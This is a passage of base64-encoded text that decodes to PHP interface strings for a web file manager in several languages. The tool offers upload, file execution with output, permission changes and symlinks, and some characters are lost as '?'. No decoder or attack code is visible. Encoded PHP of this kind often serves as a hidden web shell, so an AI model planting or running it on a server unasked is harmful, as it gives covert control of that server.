WyUxXSBrb24gbmlldCB3b3JkZW4gdmVyYW5kZXJkIGluICJbJTJdIi4nLAonbW92ZV9maWxlcycg PT4gJ1ZlcnBsYWF0cyBkZXplIGJlc3RhbmRlbjonLAonbW92ZWQnID0+ICJEZXplIGJlc3RhbmRl biB6aWpuIHZlcnBsYWF0c3QgbmFhciBcIlslMl1cIjpcClslMV0iLAonbm90X21vdmVkJyA9PiAi S2FuIGRlemUgYmVzdGFuZGVuIG5pZXQgdmVycGxhYXRzZW4gbmFhciBcIlslMl1cIjpcClslMV0i LAonY29weV9maWxlcycgPT4gJ0tvcGllZXIgZGV6ZSBiZXN0YW5kZW46JywKJ2NvcGllZCcgPT4g IkRlemUgYmVzdGFuZGVuIHppam4gZ2Vrb3BpZWVyZCBuYWFyIFwiWyUyXVwiOlwKWyUxXSIsCidu b3RfY29waWVkJyA9PiAiRGV6ZSBiZXN0YW5kZW4ga3VubmVuIG5pZXQgd29yZGVuIGdla29waWVl cmQgbmFhciBcIlslMl1cIjpcClslMV0iLAonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBrYW4gbmll dCB3b3JkZW4gYmV3ZXJrdC4nLAonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBpcyBtZXQgc3VjY2Vz IHVpdGdldm9lcmQ6XAp7JTJ9IiwKJ25vdF9leGVjdXRlZCcgPT4gIlwiWyUxXVwiIGlzIG5pZXQg Z29lZCB1aXRnZXZvZXJkOlwKeyUyfSIsCidzYXZlZCcgPT4gJyJbJTFdIiBpcyBvcGdlc2xhZ2Vu LicsCidub3Rfc2F2ZWQnID0+ICciWyUxXSIgaXMgbmlldCBvcGdlc2xhZ2VuLicsCidzeW1saW5r ZWQnID0+ICdTeW1saW5rIHZhbiAiWyUyXSIgbmFhciAiWyUxXSIgaXMgYWFuZ2VtYWFrdC4nLAon bm90X3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgdmFuICJbJTJdIiBuYWFyICJbJTFdIiBpcyBuaWV0 IGFhbmdlbWFha3QuJywKJ3Blcm1pc3Npb25fZm9yJyA9PiAnQmV2b2VnZGhlaWQgdm9vciAiWyUx XSI6JywKJ3Blcm1pc3Npb25fc2V0JyA9PiAnQmV2b2VnZGhlaWQgdmFuICJbJTFdIiBpcyBpbmdl c3RlbGQgb3AgWyUyXS4nLAoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnQmV2b2VnZGhlaWQgdmFu ICJbJTFdIiBpcyBuaWV0IGluZ2VzdGVsZCBvcCBbJTJdLicsCidub3RfcmVhZGFibGUnID0+ICci WyUxXSIga2FuIG5pZXQgd29yZGVuIGdlbGV6ZW4uJwoJCSk7CgoJY2FzZSAnc2UnOgoKCQkkZGF0 ZV9mb3JtYXQgPSAnbi9qL3kgSDppOnMnOwoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7 CiAKCQlyZXR1cm4gYXJyYXkoCidkaXJlY3RvcnknID0+ICdNYXBwJywKJ2ZpbGUnID0+ICdGaWwn LAonZmlsZW5hbWUnID0+ICdGaWxuYW1uJywKIAonc2l6ZScgPT4gJ1N0b3JsZWsnLAoncGVybWlz c2lvbicgPT4gJ1M/a2VyaGV0c25pdj8nLAonb3duZXInID0+ICc/Z2FyZScsCidncm91cCcgPT4g J0dydXBwJywKJ290aGVyJyA9PiAnQW5kcmEnLAonZnVuY3Rpb25zJyA9PiAnRnVua3Rpb25lcics CiAKJ3JlYWQnID0+ICdMP3MnLAond3JpdGUnID0+ICdTa3JpdicsCidleGVjdXRlJyA9PiAnVXRm P3InLAogCidjcmVhdGVfc3ltbGluaycgPT4gJ1NrYXBhIHN5bWxpbmsnLAonZGVsZXRlJyA9PiAn UmFkZXJhJywKJ3JlbmFtZScgPT4gJ0J5dCBuYW1uJywKJ21vdmUnID0+ICdGbHl0dGEnLAonY29w eScgPT4gJ0tvcGllcmEnLAonZWRpdCcgPT4gJz9uZHJhJywKJ2Rvd25sb2FkJyA9PiAnTGFkZGEg bmVyJywKJ3VwbG9hZCcgPT4gJ0xhZGRhIHVwcCcsCidjcmVhdGUnID0+ICdTa2FwYScsCidjaGFu Z2UnID0+ICc/bmRyYScsCidzYXZlJyA9PiAnU3BhcmEnLAonc2V0JyA9PiAnTWFya2VyYScsCidy ZXNldCcgPT4gJ1Q/bScsCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFyZ2V0JywK IAoneWVzJyA9PiAnSmEnLAonbm8nID0+ICdOZWonLAonYmFjaycgPT4gJ1RpbGxiYWtzJywKJ2Rl c3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLAonc3ltbGluaycgPT4gJ1N5bWxpbmsnLAonbm9f b3V0cHV0JyA9PiAnbm8gb3V0cHV0JywKIAondXNlcicgPT4gJ0Fudj9uZGFyZScsCidwYXNzd29y ZCcgPT4gJ0w/c2Vub3JkJywKJ2FkZCcgPT4gJ0w/Z2cgdGlsbCcsCidhZGRfYmFzaWNfYXV0aCcg PT4gJ2FkZCBiYXNpYy1hdXRoZW50aWZpY2F0aW9uJywKIAondXBsb2FkZWQnID0+ICciWyUxXSIg aGFyIGxhZGRhdHMgdXBwLicsCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIga3VuZGUgaW50ZSBs YWRkYXMgdXBwLicsCidhbHJlYWR5X2V4aXN0cycgPT4gJyJbJTFdIiBmaW5ucyByZWRhbi4nLAon Y3JlYXRlZCcgPT4gJyJbJTFdIiBoYXIgc2thcGF0cy4nLAonbm90X2NyZWF0ZWQnID0+ICciWyUx XSIga3VuZGUgaW50ZSBza2FwYXMuJywKJ3JlYWxseV9kZWxldGUnID0+ICdSYWRlcmEgZGVzc2Eg ZmlsZXI/JywKJ2RlbGV0ZWQnID0+ICJEZSBoP3IgZmlsZXJuYSBoYXIgcmFkZXJhdHM6XApbJTFd IiwKJ25vdF9kZWxldGVkJyA9PiAiRGVzc2EgZmlsZXIga3VuZGUgaW50ZSByYWRlcmFzOlwKWyUx XSIsCidyZW5hbWVfZmlsZScgPT4gJ0J5dCBuYW1uIHA/IGZpbDonLAoncmVuYW1lZCcgPT4gJyJb JTFdIiBoYXIgYnl0dCBuYW1uIHRpbGwgIlslMl0iLicsCidub3RfcmVuYW1lZCcgPT4gJyJbJTFd IGt1bmRlIGludGUgZD9wYXMgb20gdGlsbCAiWyUyXSIuJywKJ21vdmVfZmlsZXMnID0+ICdGbHl0 dGEgZGVzc2EgZmlsZXI6JywKJ21vdmVkJyA9PiAiRGVzc2EgZmlsZXIgaGFyIGZseXR0YXRzIHRp bGwgXCJbJTJdXCI6XApbJTFdIiwKJ25vdF9tb3ZlZCcgPT4gIkRlc3NhIGZpbGVyIGt1bmRlIGlu dGUgZmx5dHRhcyB0aWxsIFwiWyUyXVwiOlwKWyUxXSIsCidjb3B5X2ZpbGVzJyA9PiAnS29waWVy YSBkZXNzYSBmaWxlcjonLAonY29waWVkJyA9PiAiRGVzc2EgZmlsZXIgaGFyIGtvcGllcmF0cyB0 aWxsIFwiWyUyXVwiOlwKWyUxXSIsCidub3RfY29waWVkJyA9PiAiRGVzc2EgZmlsZXIga3VuZGUg aW50ZSBrb3BpZXJhcyB0aWxsIFwiWyUyXVwiOlwKWyUxXSIsCidub3RfZWRpdGVkJyA9PiAnIlsl MV0iIGthbiBpbnRlID9uZHJhcy4nLAonZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBoYXIgdXRmP3J0 czpcCnslMn0iLAonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIga3VuZGUgaW50ZSB1dGY/cmFz OlwKeyUyfSIsCidzYXZlZCcgPT4gJyJbJTFdIiBoYXIgc3BhcmF0cy4nLAonbm90X3NhdmVkJyA9 PiAnIlslMV0iIGt1bmRlIGludGUgc3BhcmFzLicsCidzeW1saW5rZWQnID0+ICdTeW1saW5rIGZy P24gIlslMl0iIHRpbGwgIlslMV0iIGhhciBza2FwYXRzLicsCidub3Rfc3ltbGlua2VkJyA9PiAn U3ltbGluayBmcj9uICJbJTJdIiB0aWxsICJbJTFdIiBrdW5kZSBpbnRlIHNrYXBhcy4nLAoncGVy bWlzc2lvbl9mb3InID0+ICdSP3R0aWdoZXRlciBmP3IgIlslMV0iOicsCidwZXJtaXNzaW9uX3Nl dCcgPT4gJ1I/dHRpZ2hldGVyIGY/ciAiWyUxXSIgP25kcmFkZXMgdGlsbCBbJTJdLicsCidwZXJt aXNzaW9uX25vdF9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiBjb3VsZCBub3QgYmUgc2V0 IHRvIFslMl0uJywKJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBrYW4gaW50ZSBsP3Nhcy4nCgkJ KTsKCgljYXNlICdzcCc6CgoJCSRkYXRlX2Zvcm1hdCA9ICdqL24veSBIOmk6cyc7CgkJJHdvcmRf Y2hhcnNldCA9ICdJU08tODg1OS0xJzsKCgkJcmV0dXJuIGFycmF5KAonZGlyZWN0b3J5JyA9PiAn RGlyZWN0b3JpbycsCidmaWxlJyA9PiAnQXJjaGl2bycsCidmaWxlbmFtZScgPT4gJ05vbWJyZSBB cmNoaXZvJywKCidzaXplJyA9PiAnVGFtYT9vJywKJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNvcycs Cidvd25lcicgPT4gJ1Byb3BpZXRhcmlvJywKJ2dyb3VwJyA9PiAnR3J1cG8nLAonb3RoZXInID0+ ICdPdHJvcycsCidmdW5jdGlvbnMnID0+ICdGdW5jaW9uZXMnLAoKJ3JlYWQnID0+ICdsZWN0dXJh JywKJ3dyaXRlJyA9PiAnZXNjcml0dXJhJywKJ2V4ZWN1dGUnID0+ICdlamVjdWNpP24nLAoKJ2Ny ZWF0ZV9zeW1saW5rJyA9PiAnY3JlYXIgZW5sYWNlJywKJ2RlbGV0ZScgPT4gJ2JvcnJhcicsCidy ZW5hbWUnID0+ICdyZW5vbWJyYXInLAonbW92ZScgPT4gJ21vdmVyJywKJ2NvcHknID0+ICdjb3Bp YXInLAonZWRpdCcgPT4gJ2VkaXRhcicsCidkb3dubG9hZCcgPT4gJ2JhamFyJywKJ3VwbG9hZCcg PT4gJ3N1YmlyJywKJ2NyZWF0ZScgPT4gJ2NyZWFyJywKJ2NoYW5nZScgPT4gJ2NhbWJpYXInLAon c2F2ZScgPT4gJ3NhbHZhcicsCidzZXQnID0+ICdzZXRlYXInLAoncmVzZXQnID0+ICdyZXNldGVh cicsCidyZWxhdGl2ZScgPT4gJ1BhdGggcmVsYXRpdm8nLAoKJ3llcycgPT4gJ1NpJywKJ25vJyA9 PiAnTm8nLAonYmFjaycgPT4gJ2F0cj9zJywKJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGlubycsCidz eW1saW5rJyA9PiAnRW5sYWNlJywKJ25vX291dHB1dCcgPT4gJ3NpbiBzYWxpZGEnLAoKJ3VzZXIn ID0+ICdVc3VhcmlvJywKJ3Bhc3N3b3JkJyA9PiAnQ2xhdmUnLAonYWRkJyA9PiAnYWdyZWdhcics CidhZGRfYmFzaWNfYXV0aCcgPT4gJ2FncmVnYXIgYXV0ZW50aWZpY2FjaT9uIGI/c2ljYScsCgon dXBsb2FkZWQnID0+ICciWyUxXSIgaGEgc2lkbyBzdWJpZG8uJywKJ25vdF91cGxvYWRlZCcgPT4g JyJbJTFdIiBubyBwdWRvIHNlciBzdWJpZG8uJywKJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0i IHlhIGV4aXN0ZS4nLAonY3JlYXRlZCcgPT4gJyJbJTFdIiBoYSBzaWRvIGNyZWFkby4nLAonbm90 X2NyZWF0ZWQnID0+ICciWyUxXSIgbm8gcHVkbyBzZXIgY3JlYWRvLicsCidyZWFsbHlfZGVsZXRl JyA9PiAnP0JvcnJhIGVzdG9zIGFyY2hpdm9zPycsCidkZWxldGVkJyA9PiAiRXN0b3MgYXJjaGl2 b3MgaGFuIHNpZG8gYm9ycmFkb3M6XApbJTFdIiwKJ25vdF9kZWxldGVkJyA9PiAiRXN0b3MgYXJj aGl2b3Mgbm8gcHVkaWVyb24gc2VyIGJvcnJhZG9zOlwKWyUxXSIsCidyZW5hbWVfZmlsZScgPT4g J1Jlbm9tYnJhIGFyY2hpdm86JywKJ3JlbmFtZWQnID0+ICciWyUxXSIgaGEgc2lkbyByZW5vbWJy YWRvIGEgIlslMl0iLicsCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIG5vIHB1ZG8gc2VyIHJlbm9t YnJhZG8gYSAiWyUyXSIuJywKJ21vdmVfZmlsZXMnID0+ICdNb3ZlciBlc3RvcyBhcmNoaXZvczon LAonbW92ZWQnID0+ICJFc3RvcyBhcmNoaXZvcyBoYW4gc2lkbyBtb3ZpZG9zIGEgXCJbJTJdXCI6 XApbJTFdIiwKJ25vdF9tb3ZlZCcgPT4gIkVzdG9zIGFyY2hpdm9zIG5vIHB1ZGllcm9uIHNlciBt b3ZpZG9zIGEgXCJbJTJdXCI6XApbJTFdIiwKJ2NvcHlfZmlsZXMnID0+ICdDb3BpYXIgZXN0b3Mg YXJjaGl2b3M6JywKJ2NvcGllZCcgPT4gIkVzdG9zIGFyY2hpdm9zIGhhbiBzaWRvIGNvcGlhZG9z IGEgIFwiWyUyXVwiOlwKWyUxXSIsCidub3RfY29waWVkJyA9PiAiRXN0b3MgYXJjaGl2b3Mgbm8g cHVkaWVyb24gc2VyIGNvcGlhZG9zIFwiWyUyXVwiOlwKWyUxXSIsCidub3RfZWRpdGVkJyA9PiAn IlslMV0iIG5vIHB1ZG8gc2VyIGVkaXRhZG8uJywKJ2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgaGEg c2lkbyBlamVjdXRhZG8gY29ycmVjdGFtZW50ZTpcCnslMn0iLAonbm90X2V4ZWN1dGVkJyA9PiAi XCJbJTFdXCIgbm8gcHVkbyBzZXIgZWplY3V0YWRvIGNvcnJlY3RhbWVudGU6XAp7JTJ9IiwKJ3Nh dmVkJyA9PiAnIlslMV0iIGhhIHNpZG8gc2FsdmFkby4nLAonbm90X3NhdmVkJyA9PiAnIlslMV0i IG5vIHB1ZG8gc2VyIHNhbHZhZG8uJywKJ3N5bWxpbmtlZCcgPT4gJ0VubGFjZSBkZXNkZSAiWyUy XSIgYSAiWyUxXSIgaGEgc2lkbyBjcmVhZG8uJywKJ25vdF9zeW1saW5rZWQnID0+ICdFbmxhY2Ug ZGVzZGUgIlslMl0iIGEgIlslMV0iIG5vIHB1ZG8gc2VyIGNyZWFkby4nLAoncGVybWlzc2lvbl9m b3InID0+ICdQZXJtaXNvcyBkZSAiWyUxXSI6JywKJ3Blcm1pc3Npb25fc2V0JyA9PiAnUGVybWlz b3MgZGUgIlslMV0iIGZ1ZXJvbiBzZXRlYWRvcyBhIFslMl0uJywKJ3Blcm1pc3Npb25fbm90X3Nl dCcgPT4gJ1Blcm1pc29zIGRlICJbJTFdIiBubyBwdWRvIHNlciBzZXRlYWRvIGEgWyUyXS4nLAon bm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIG5vIHB1ZG8gc2VyIGxlP2RvLicKCQkpOwoKCWNhc2Ug J2RrJzoKCgkJJGRhdGVfZm9ybWF0ID0gJ24vai95IEg6aTpzJzsKCQkkd29yZF9jaGFyc2V0ID0g J0lTTy04ODU5LTEnOwoKCQlyZXR1cm4gYXJyYXkoCidkaXJlY3RvcnknID0+ICdNYXBwZScsCidm aWxlJyA9PiAnRmlsJywKJ2ZpbGVuYW1lJyA9PiAnRmlsbmF2bicsCgonc2l6ZScgPT4gJ1N0P3Jy ZWxzZScsCidwZXJtaXNzaW9uJyA9PiAnUmV0dGlnaGVkJywKJ293bmVyJyA9PiAnRWplcicsCidn cm91cCcgPT4gJ0dydXBwZScsCidvdGhlcicgPT4gJ0FuZHJlJywKJ2Z1bmN0aW9ucycgPT4gJ0Z1 bmt0aW9uZXInLAoKJ3JlYWQnID0+ICdsP3MnLAond3JpdGUnID0+ICdza3JpdicsCidleGVjdXRl JyA9PiAnaz9yJywKCidjcmVhdGVfc3ltbGluaycgPT4gJ29wcmV0IHN5bWJvbHNrIGxpbmsnLAon ZGVsZXRlJyA9PiAnc2xldCcsCidyZW5hbWUnID0+ICdvbWQ/YicsCidtb3ZlJyA9PiAnZmx5dCcs Cidjb3B5JyA9PiAna29waWVyJywKJ2VkaXQnID0+ICdyZWRpZ2VyJywKJ2Rvd25sb2FkJyA9PiAn ZG93bmxvYWQnLAondXBsb2FkJyA9PiAndXBsb2FkJywKJ2NyZWF0ZScgPT4gJ29wcmV0JywKJ2No YW5nZScgPT4gJ3NraWZ0JywKJ3NhdmUnID0+ICdnZW0nLAonc2V0JyA9PiAncz90JywKJ3Jlc2V0 JyA9PiAnbnVsc3RpbCcsCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXYgc3RpIHRpbCB2YWxnJywKCid5 ZXMnID0+ICdKYScsCidubycgPT4gJ05laicsCidiYWNrJyA9PiAndGlsYmFnZScsCidkZXN0aW5h dGlvbicgPT4gJ0Rpc3RpbmF0aW9uJywKJ3N5bWxpbmsnID0+ICdTeW1ib2xzayBsaW5rJywKJ25v X291dHB1dCcgPT4gJ2luZ2VuIHJlc3VsdGF0JywKCid1c2VyJyA9PiAnQnJ1Z2VyJywKJ3Bhc3N3 b3JkJyA9PiAnS29kZW9yZCcsCidhZGQnID0+ICd0aWxmP2onLAonYWRkX2Jhc2ljX2F1dGgnID0+ ICd0aWxmP2ogZ3J1bmRsaWdnZW5kZSByZXR0aWdoZWRlcicsCgondXBsb2FkZWQnID0+ICciWyUx XSIgZXIgYmxldmV0IHVwbG9hZGVkLicsCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIga3VubnUg aWtrZSB1cGxvYWRlcy4nLAonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZmluZGVzIGFsbGVy ZWRlLicsCidjcmVhdGVkJyA9PiAnIlslMV0iIGVyIGJsZXZldCBvcHJldHRldC4nLAonbm90X2Ny ZWF0ZWQnID0+ICciWyUxXSIga3VubmUgaWtrZSBvcHJldHRlcy4nLAoncmVhbGx5X2RlbGV0ZScg PT4gJ1NsZXQgZGlzc2UgZmlsZXI/JywKJ2RlbGV0ZWQnID0+ICJEaXNzZSBmaWxlciBlciBibGV2 ZXQgc2xldHRldDpcClslMV0iLAonbm90X2RlbGV0ZWQnID0+ICJEaXNzZSBmaWxlciBrdW5uZSBp a2tlIHNsZXR0ZXM6XApbJTFdIiwKJ3JlbmFtZV9maWxlJyA9PiAnT21kP2QgZmlsOicsCidyZW5h bWVkJyA9PiAnIlslMV0iIGVyIGJsZXZldCBvbWQ/YnQgdGlsICJbJTJdIi4nLAonbm90X3JlbmFt ZWQnID0+ICciWyUxXSBrdW5uZSBpa2tlIG9tZD9iZXMgdGlsICJbJTJdIi4nLAonbW92ZV9maWxl cycgPT4gJ0ZseXQgZGlzc2UgZmlsZXI6JywKJ21vdmVkJyA9PiAiRGlzc2UgZmlsZXIgZXIgYmxl dmV0IGZseXR0ZXQgdGlsIFwiWyUyXVwiOlwKWyUxXSIsCidub3RfbW92ZWQnID0+ICJEaXNzZSBm aWxlciBrdW5uZSBpa2tlIGZseXR0ZXMgdGlsIFwiWyUyXVwiOlwKWyUxXSIsCidjb3B5X2ZpbGVz JyA9PiAnS29waWVyIGRpc3NlIGZpbGVyOicsCidjb3BpZWQnID0+ICJEaXNzZSBmaWxlciBlciBr b3BpZXJldCB0aWwgXCJbJTJdXCI6XApbJTFdIiwKJ25vdF9jb3BpZWQnID0+ICJEaXNzZSBmaWxl ciBrdW5uZSBpa2tlIGtvcGllcmVzIHRpbCBcIlslMl1cIjpcClslMV0iLAonbm90X2VkaXRlZCcg PT4gJyJbJTFdIiBrYW4gaWtrZSByZWRpZ2VyZXMuJywKJ2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIg ZXIgYmxldmV0IGs/cnQga29ycmVrdDpcCnslMn0iLAonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFd XCIga2FuIGlra2Ugaz9yZXMga29ycmVrdDpcCnslMn0iLAonc2F2ZWQnID0+ICciWyUxXSIgZXIg YmxldmV0IGdlbXQuJywKJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBrdW5uZSBpa2tlIGdlbW1lcy4n LAonc3ltbGlua2VkJyA9PiAnU3ltYm9sc2sgbGluayBmcmEgIlslMl0iIHRpbCAiWyUxXSIgZXIg YmxldmV0IG9wcmV0dGV0LicsCidub3Rfc3ltbGlua2VkJyA9PiAnU3ltYm9sc2sgbGluayBmcmEg IlslMl0iIHRpbCAiWyUxXSIga3VubmUgaWtrZSBvcHJldHRlcy4nLAoncGVybWlzc2lvbl9mb3In ID0+ICdSZXR0aWdoZWRlciBmb3IgIlslMV0iOicsCidwZXJtaXNzaW9uX3NldCcgPT4gJ1JldHRp Z2hlZGVyIGZvciAiWyUxXSIgYmxldiBzYXQgdGlsIFslMl0uJywKJ3Blcm1pc3Npb25fbm90X3Nl dCcgPT4gJ1JldHRpZ2hlZGVyIGZvciAiWyUxXSIga3VubmUgaWtrZSBzP3R0ZXMgdGlsIFslMl0u JywKJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBLYW4gaWtrZSBsP3Nlcy4nCgkJKTsKCgljYXNl ICd0cic6CgoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7CgkJJHdvcmRfY2hhcnNldCA9 ICdJU08tODg1OS0xJzsKCgkJcmV0dXJuIGFycmF5KAonZGlyZWN0b3J5JyA9PiAnS2xhcz9yJywK J2ZpbGUnID0+ICdEb3N5YScsCidmaWxlbmFtZScgPT4gJ2Rvc3lhIGFkaScsCgonc2l6ZScgPT4g J2JveXV0dScsCidwZXJtaXNzaW9uJyA9PiAnSXppbicsCidvd25lcicgPT4gJ3NhaGliJywKJ2dy b3VwJyA9PiAnR3J1cCcsCidvdGhlcicgPT4gJ0RpZ2VybGVyaScsCidmdW5jdGlvbnMnID0+ICdG b25rc2l5b25sYXInLAoKJ3JlYWQnID0+ICdva3UnLAond3JpdGUnID0+ICd5YXonLAonZXhlY3V0 ZScgPT4gJ+dhbGlzdGlyJywKCidjcmVhdGVfc3ltbGluaycgPT4gJ3lhcmF0IHN5bWxpbmsnLAon ZGVsZXRlJyA9PiAnc2lsJywKJ3JlbmFtZScgPT4gJ2FkIGRlZ2lzdGlyJywKJ21vdmUnID0+ICd0 YXNpJywKJ2NvcHknID0+ICdrb3B5YWxhJywKJ2VkaXQnID0+ICdk/HplbmxlJywKJ2Rvd25sb2Fk JyA9PiAnaW5kaXInLAondXBsb2FkJyA9PiAnefxrbGUnLAonY3JlYXRlJyA9PiAnY3JlYXRlJywK J2NoYW5nZScgPT4gJ2RlZ2lzdGlyJywKJ3NhdmUnID0+ICdrYXlkZXQnLAonc2V0JyA9PiAnYXlh cicsCidyZXNldCcgPT4gJ3NpZmlybGEnLAoncmVsYXRpdmUnID0+ICdIZWRlZiB5b2xhIGc/cmUn LAoKJ3llcycgPT4gJ0V2ZXQnLAonbm8nID0+ICdIYXlpcicsCidiYWNrJyA9PiAnR2VyaScsCidk ZXN0aW5hdGlvbicgPT4gJ0hlZGVmJywKJ3N5bWxpbmsnID0+ICdLP3NhIHlvbCcsCidub19vdXRw dXQnID0+ICfnaWt0aSB5b2snLAoKJ3VzZXInID0+ICdLdWxsYW5pY2knLAoncGFzc3dvcmQnID0+ ICdTaWZyZScsCidhZGQnID0+ICdla2xlJywKJ2FkZF9iYXNpY19hdXRoJyA9PiAnZWtsZSBiYXNp dC1hdXRoZW50aWZpY2F0aW9uJywKCid1cGxvYWRlZCcgPT4gJyJbJTFdIiB5/GtsZW5kaS4nLAon bm90X3VwbG9hZGVkJyA9PiAnIlslMV0iIHn8a2xlbmVtZWRpLicsCidhbHJlYWR5X2V4aXN0cycg PT4gJyJbJTFdIiBrdWxsYW5pbG1ha3RhLicsCidjcmVhdGVkJyA9PiAnIlslMV0iIG9sdXN0dXJ1 bGR1LicsCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBvbHVzdHVydWxhbWFkaS4nLAoncmVhbGx5 X2RlbGV0ZScgPT4gJ0J1IGRvc3lhbGFyaSBzaWxtZWsgaXN0ZWRpZ2luaXpkZW4gZW1pbm1pc2lu aXo/JywKJ2RlbGV0ZWQnID0+ICJCdSBkb3N5YWxhciBzaWxpbmRpOlwKWyUxXSIsCidub3RfZGVs ZXRlZCcgPT4gIkJ1IGRvc3lhbGFyIHNpbGluZW1lZGk6XApbJTFdIiwKJ3JlbmFtZV9maWxlJyA9 PiAnQWRpIGRlZ2lzZW4gZG9zeWE6JywKJ3JlbmFtZWQnID0+ICciWyUxXSIgYWRpbGkgZG9zeWFu aW4geWVuaSBhZGkgIlslMl0iLicsCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIGFkaSBkZWdpc3Rp cmlsZW1lZGkgIlslMl0iIGlsZS4nLAonbW92ZV9maWxlcycgPT4gJ1Rhc2luYW4gZG9zeWFsYXI6 JywKJ21vdmVkJyA9PiAiQnUgZG9zeWFsYXJpIHRhc2lkaWdpbml6IHllciBcIlslMl1cIjpcClsl MV0iLAonbm90X21vdmVkJyA9PiAiQnUgZG9zeWFsYXJpIHRhc2l5YW1hZGlnaW5peiB5ZXIgXCJb JTJdXCI6XApbJTFdIiwKJ2NvcHlfZmlsZXMnID0+ICdLb3B5YWxhbmFuIGRvc3lhbGFyOicsCidj b3BpZWQnID0+ICJCdSBkb3N5YWxhciBrb3B5YWxhbmRpIFwiWyUyXVwiOlwKWyUxXSIsCidub3Rf Y29waWVkJyA9PiAiQnUgZG9zeWFsYXIga29weWFsYW5hbWl5b3IgXCJbJTJdXCI6XApbJTFdIiwK J25vdF9lZGl0ZWQnID0+ICciWyUxXSIgZPx6ZW5sZW5lbWl5b3IuJywKJ2V4ZWN1dGVkJyA9PiAi XCJbJTFdXCIgYmFzYXJpeWxhIOdhbGlzdGlyaWxkaTpcCnslMn0iLAonbm90X2V4ZWN1dGVkJyA9 PiAiXCJbJTFdXCIg52FsaXN0aXJpbGFtYWRpOlwKeyUyfSIsCidzYXZlZCcgPT4gJyJbJTFdIiBr YXlkZWRpbGRpLicsCidub3Rfc2F2ZWQnID0+ICciWyUxXSIga2F5ZGVkaWxlbWVkaS4nLAonc3lt bGlua2VkJyA9PiAnIlslMl0iIGRlbiAiWyUxXSIgZSBrP3NheW9sIG9sdT90dXJ1bGR1LicsCidu b3Rfc3ltbGlua2VkJyA9PiAnIlslMl0iZGVuICJbJTFdIiBlIGs/c2F5b2wgb2x1P3R1cnVsYW1h ZD8uJywKJ3Blcm1pc3Npb25fZm9yJyA9PiAnSXppbmxlciAiWyUxXSI6JywKJ3Blcm1pc3Npb25f c2V0JyA9PiAnSXppbmxlciAiWyUxXSIgZGVnaXN0aXJpbGRpIFslMl0uJywKJ3Blcm1pc3Npb25f bm90X3NldCcgPT4gJ0l6aW5sZXIgIlslMV0iIGRlZ2lzdGlyaWxlbWVkaSBbJTJdLicsCidub3Rf cmVhZGFibGUnID0+ICciWyUxXSIgb2t1bmFtaXlvci4nCgkJKTsKCgljYXNlICdjcyc6CgoJCSRk YXRlX2Zvcm1hdCA9ICdkLm0ueSBIOmk6cyc7CgkJJHdvcmRfY2hhcnNldCA9ICdVVEYtOCc7CgoJ CXJldHVybiBhcnJheSgKJ2RpcmVjdG9yeScgPT4gJ0FkcmVzPz8/PycsCidmaWxlJyA9PiAnU291 Ym9yJywKJ2ZpbGVuYW1lJyA9PiAnSm0/qW5vIHNvdWJvcnUnLAoKJ3NpemUnID0+ICdWZWxpa29z dCcsCidwZXJtaXNzaW9uJyA9PiAnUHI/P3ZhJywKJ293bmVyJyA9PiAnVmxhc3RuP61rJywKJ2dy b3VwJyA9PiAnU2t1cGluYScsCidvdGhlcicgPT4gJ09zdGF0bj+tJywKJ2Z1bmN0aW9ucycgPT4g J0Z1bmtjZScsCgoncmVhZCcgPT4gJz8/dGVuP60nLAond3JpdGUnID0+ICdaPz9waXMnLAonZXhl Y3V0ZScgPT4gJ1Nwb3U/P3Q/P24/rScsCgonY3JlYXRlX3N5bWxpbmsnID0+ICdWeXR2bz8/aXQg c3ltYm9saWNrP70gb2RrYXonLAonZGVsZXRlJyA9PiAnU21hemF0JywKJ3JlbmFtZScgPT4gJ1A/ P2VqbWVub3ZhdCcsCidtb3ZlJyA9PiAnUD8/ZXN1bm91dCcsCidjb3B5JyA9PiAnWmtvcD+tcm92 YXQnLAonZWRpdCcgPT4gJ090ZXY/Pz+tdCcsCidkb3dubG9hZCcgPT4gJ1N0Pz9obm91dCcsCid1 cGxvYWQnID0+ICdOYWhyYWogbmEgc2VydmVyJywKJ2NyZWF0ZScgPT4gJ1Z5dHZvPz9pdCcsCidj aGFuZ2UnID0+ICdabT8/bml0JywKJ3NhdmUnID0+ICdVbG8/vml0JywKJ3NldCcgPT4gJ05hc3Rh dml0JywKJ3Jlc2V0JyA9PiAnenA/P3QnLAoncmVsYXRpdmUnID0+ICdSZWxhdGlmJywKCid5ZXMn ID0+ICdBbm8nLAonbm8nID0+ICdOZScsCidiYWNrJyA9PiAnWnA/P3QnLAonZGVzdGluYXRpb24n ID0+ICdEZXN0aW5hdGlvbicsCidzeW1saW5rJyA9PiAnU3ltYm9saWNrP70gb2RrYXonLAonbm9f b3V0cHV0JyA9PiAnUHI/P3pkbj+9IHY/vXN0dXAnLAoKJ3VzZXInID0+ICdVP75pdmF0ZWwnLAon cGFzc3dvcmQnID0+ICdIZXNsbycsCidhZGQnID0+ICdQPz9pZGF0JywKJ2FkZF9iYXNpY19hdXRo 